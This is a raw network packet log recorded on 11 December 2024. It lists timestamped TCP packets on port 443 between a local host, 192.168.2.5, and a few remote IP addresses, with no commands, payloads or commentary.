Dec 11, 2024 19:22:20.291136026 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.291675091 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.339323044 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.540648937 CET	443	49732	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.541002035 CET	49732	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.541033030 CET	443	49732	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.542489052 CET	443	49732	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.542918921 CET	49732	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.543081045 CET	49732	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.543087006 CET	443	49732	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.543102026 CET	443	49732	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.585841894 CET	49732	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.748761892 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.748889923 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.748972893 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.748992920 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.749059916 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.749116898 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.749134064 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.749212027 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.749350071 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.749363899 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.763063908 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.763130903 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.763140917 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.763170004 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.763362885 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.770777941 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.818445921 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.868534088 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.911923885 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.911987066 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.945712090 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.945802927 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.945837975 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.953623056 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.953687906 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.953701019 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.961519003 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.961585999 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.961600065 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.969325066 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.969388008 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.969402075 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.985228062 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.985292912 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.985305071 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.993030071 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.993115902 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.993225098 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.993288994 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.993364096 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.996450901 CET	443	49732	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.996614933 CET	443	49732	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.996680975 CET	49732	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.998111963 CET	49732	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.998135090 CET	443	49732	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.000818968 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.002293110 CET	49734	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:21.002391100 CET	443	49734	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:21.002500057 CET	49734	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:21.002738953 CET	49734	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:21.002775908 CET	443	49734	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:21.008842945 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.008908033 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.008940935 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.016721010 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.016848087 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.016863108 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.024617910 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.024681091 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.024694920 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.032583952 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.032669067 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.032682896 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.040510893 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.040570021 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.040586948 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.089272022 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.136388063 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.139401913 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.139524937 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.139549017 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.139574051 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.139628887 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.144612074 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.154169083 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.154263020 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.154325008 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.154393911 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.158852100 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.158875942 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.158941984 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.172403097 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.172424078 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.172471046 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.172492981 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.172521114 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.176729918 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.176924944 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.176986933 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.177053928 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.185579062 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.185601950 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.185650110 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.194868088 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.194967031 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.194983006 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.195041895 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.200361013 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.200434923 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.203520060 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.203613043 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.209543943 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.209615946 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.212565899 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.212645054 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.218591928 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.218662977 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.329076052 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.329170942 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.330462933 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.330558062 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.336622953 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.336704016 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.336733103 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.336797953 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.336827040 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.336920977 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.336927891 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.336956024 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.336999893 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.337001085 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.337064028 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.339755058 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:21.339835882 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:21.339950085 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:21.340146065 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:21.340162039 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:21.359829903 CET	49717	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:21.407334089 CET	443	49717	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:21.513922930 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.514029026 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:21.514125109 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.514408112 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:21.514431953 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:22.028031111 CET	443	49717	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:22.028197050 CET	443	49717	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:22.028259039 CET	49717	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:22.033556938 CET	49717	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:22.033566952 CET	443	49717	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:22.170188904 CET	49742	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:22.170289040 CET	443	49742	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:22.170384884 CET	49742	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:22.170629978 CET	49742	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:22.170665026 CET	443	49742	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:22.219655037 CET	443	49734	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:22.219934940 CET	49734	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:22.220000029 CET	443	49734	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:22.220483065 CET	443	49734	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:22.221250057 CET	49734	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:22.221344948 CET	443	49734	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:22.221611977 CET	49734	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:22.263334990 CET	443	49734	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:22.556363106 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:22.556772947 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:22.556838989 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:22.557312965 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:22.557893038 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:22.557981014 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:22.558166981 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:22.599330902 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:22.669926882 CET	443	49734	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:22.670017004 CET	443	49734	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:22.670084000 CET	49734	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:22.670809031 CET	49734	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:22.670821905 CET	443	49734	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:22.781022072 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:22.781301022 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:22.781328917 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:22.782869101 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:22.783214092 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:22.783371925 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:22.783384085 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:22.783412933 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:22.783493996 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:22.833132982 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.006922007 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.007055044 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.007150888 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.007236958 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.007294893 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.007364035 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.007605076 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.014601946 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.014688015 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.014869928 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.031425953 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.031512022 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.031725883 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.031747103 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.031888008 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.127990007 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.131495953 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.131738901 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.131756067 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.178208113 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.199485064 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.203061104 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.203497887 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.203567028 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.211568117 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.211915016 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.211934090 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.218374968 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.218650103 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.218663931 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.235375881 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.235461950 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.235513926 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.235568047 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.236124039 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.241921902 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.249361992 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.249551058 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.249583960 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.257466078 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.257790089 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.257807016 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.267441034 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.267693996 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.267708063 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.272958994 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.273056984 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.273071051 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.278747082 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.278987885 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.279000044 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.287431955 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.287647963 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.287662029 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.300010920 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.300137997 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.300229073 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.300319910 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.300417900 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.300447941 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.314806938 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.315136909 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.315154076 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.334114075 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.334146023 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.365650892 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.365675926 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.380911112 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.391658068 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.393213987 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.393332958 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.393368006 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.396641016 CET	443	49742	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:23.397135973 CET	49742	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:23.397147894 CET	443	49742	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:23.398586988 CET	443	49742	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:23.399055958 CET	49742	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:23.399310112 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.400105953 CET	49742	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:23.400114059 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.400127888 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.400185108 CET	443	49742	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:23.400509119 CET	49742	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:23.407216072 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.407334089 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.407346010 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.407429934 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.414551973 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.416661024 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.416685104 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.417033911 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.419612885 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.424539089 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.424561977 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.424643040 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.424643040 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.424663067 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.425399065 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.425486088 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.425487041 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.425515890 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.425818920 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.435360909 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.435498953 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.435512066 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.435794115 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.436716080 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.436734915 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.436991930 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.437000990 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.445291042 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.445343971 CET	49742	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:23.445358038 CET	443	49742	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:23.445393085 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.445405960 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.446002007 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.453423023 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.453524113 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.457160950 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.457245111 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.466959000 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.467191935 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.473663092 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.473922014 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.477941990 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.478034973 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.486155987 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.486273050 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.490596056 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.490596056 CET	49742	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:23.492351055 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.494276047 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.494401932 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.496572971 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.496644974 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.496654987 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.504519939 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.504806042 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.504812956 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.511786938 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.512099981 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.512106895 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.527357101 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.527460098 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.527506113 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.527513981 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.527777910 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.535379887 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.543498993 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.543586016 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.543643951 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.543658972 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.543967009 CET	49736	443	192.168.2.5	104.18.95.41
